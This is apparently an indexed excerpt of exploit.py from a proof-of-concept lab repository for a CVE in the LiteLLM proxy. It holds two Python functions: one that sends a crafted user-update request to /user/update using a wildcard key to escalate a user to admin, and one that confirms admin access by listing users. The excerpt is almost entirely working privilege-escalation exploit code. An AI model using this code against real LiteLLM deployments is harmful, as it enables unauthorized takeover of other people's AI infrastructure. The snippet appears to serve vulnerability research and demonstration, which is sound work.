INNER CODE UNIT · Python
escalate_to_admin
Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:104
def escalate_to_admin(target: str, wildcard_key: str, user_id: str) -> dict[str, Any]:
url = f"{target.rstrip('/')}/user/update"
resp = api_post(url, wildcard_key, build_user_update_payload(user_id=user_id))
data = safe_json(resp)
if resp.status_code >= 300:
raise RuntimeError(f"Privilege escalation failed: HTTP {resp.status_code} {data}")
return data
def verify_admin_access(target: str, token: str) -> dict[str, Any]:
url = f"{target.rstrip('/')}/user/list"
resp = api_get(url, token)
data = safe_json(resp)
if resp.status_code >= 300:
raise RuntimeError(f"Admin verification failed: HTTP {resp.status_code} {data}")
return data